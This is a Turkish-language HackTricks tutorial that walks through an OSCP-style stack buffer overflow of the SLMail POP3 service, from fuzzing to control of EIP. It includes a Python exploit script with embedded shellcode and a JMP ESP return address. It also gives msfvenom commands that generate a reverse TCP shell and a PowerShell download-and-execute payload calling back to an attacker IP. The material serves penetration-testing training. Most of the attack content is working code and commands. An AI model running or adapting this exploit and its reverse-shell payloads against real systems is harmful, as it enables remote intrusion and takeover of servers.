hacktricks/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md

10 KiB
Raw Permalink Blame History

Windows Exploiting (Temel Kılavuz - OSCP seviyesi)

{% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

SLMail servisini kurmaya başlayın

SLMail servisini yeniden başlatın

Her seferinde SLMail servisini yeniden başlatmanız gerektiğinde bunu Windows konsolunu kullanarak yapabilirsiniz:

net start slmail

Çok temel python saldırı şablonu

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Immunity Debugger Yazı Tipini Değiştirme

Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK'ye gidin.

İşlemi Immunity Debugger'a Bağlama:

File --> Attach

Ve START düğmesine basın

Saldırıyı gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:

Servisi her durdurduğunuzda, bu sayfanın başında belirtildiği gibi yeniden başlatmanız gerekmektedir.

EIP'yi değiştirmek için bir desen oluşturun

Desen, önceki servisi durdurmak için kullandığınız tampon kadar büyük olmalıdır.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Değiştirme exploitin tamponunu ve deseni ayarla ve exploit'i başlat.

Yeni bir çökme oluşmalı, ancak farklı bir EIP adresi ile:

Adresin deseninizde olup olmadığını kontrol edin:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Görünüşe göre tamponun 2606 ofsetindeki EIP'yi değiştirebiliyoruz.

Exploit'in tamponunu değiştirerek kontrol edin:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Bu tamponla EIP çöktüğünde 42424242 ("BBBB")'ye işaret etmelidir.

Görünüşe göre çalışıyor.

Stack içinde Shellcode alanını kontrol et

Güçlü bir shellcode için 600B yeterli olmalıdır.

Şimdi tamponu değiştirelim:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

Başlatılan yeni saldırıyı kontrol edin ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin

Zafiyet ulaşıldığında EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için bolca alanımız olduğunu görebilirsiniz.

Bu durumda 0x0209A128'den 0x0209A2D6'ya kadar = 430B. Yeterli.

Kötü karakterleri kontrol edin

Yine tamponu değiştirin:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

Badchars 0x01'den başlar çünkü 0x00 neredeyse her zaman kötüdür.

Bu yeni tamponla tekrar tekrar saldırıyı yürütün ve gereksiz bulunan karakterleri silin:

Örneğin:

Bu durumda 0x0A karakterini kullanmamalısınız (0x09 karakterinde hiçbir şey belleğe kaydedilmez).

Bu durumda 0x0D karakterinden kaçınılıyor:

Bir JMP ESP bulun ve geri dönüş adresi olarak kullanın

Kullanarak:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Bellek haritalarını listeleyeceksiniz. Şu özelliklere sahip bir DLL arayın:

  • Yer Değiştirme: Yanlış
  • SafeSEH: Yanlış
  • ASLR: Yanlış
  • NX Uyumluluğu: Yanlış
  • İşletim Sistemi DLL'si: Doğru

Şimdi, bu bellek içinde bazı JMP ESP baytlarını bulmalısınız, bunu yapmak için şunu çalıştırın:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Ardından, eğer bir adres bulunursa, kötü karakter içermeyen bir adres seçin:

Bu durumda, örneğin: _0x5f4a358f_

Kabuk kodu oluşturun

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), farklı shellcodelar oluşturmayı deneyin (aynı parametrelerle farklı shellcodelar oluşturmak için msfvenom'u kullanın).

Shellcode'un başına bazı NOPS'ları ekleyin ve onu ve return adresini JMP ESP'ye yönlendirerek exploit'i tamamlayın:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

{% hint style="warning" %} Kendilerini üzerine yazacak shellcode'lar bulunmaktadır, bu yüzden shellcode'un önüne her zaman bir miktar NOP eklemek önemlidir. {% endhint %}

Shellcode'u geliştirme

Bu parametreleri ekleyin:

EXITFUNC=thread -e x86/shikata_ga_nai

{% hint style="success" %} Öğren ve AWS Hacking pratiği yap:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
Öğren ve GCP Hacking pratiği yap: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekle
{% endhint %}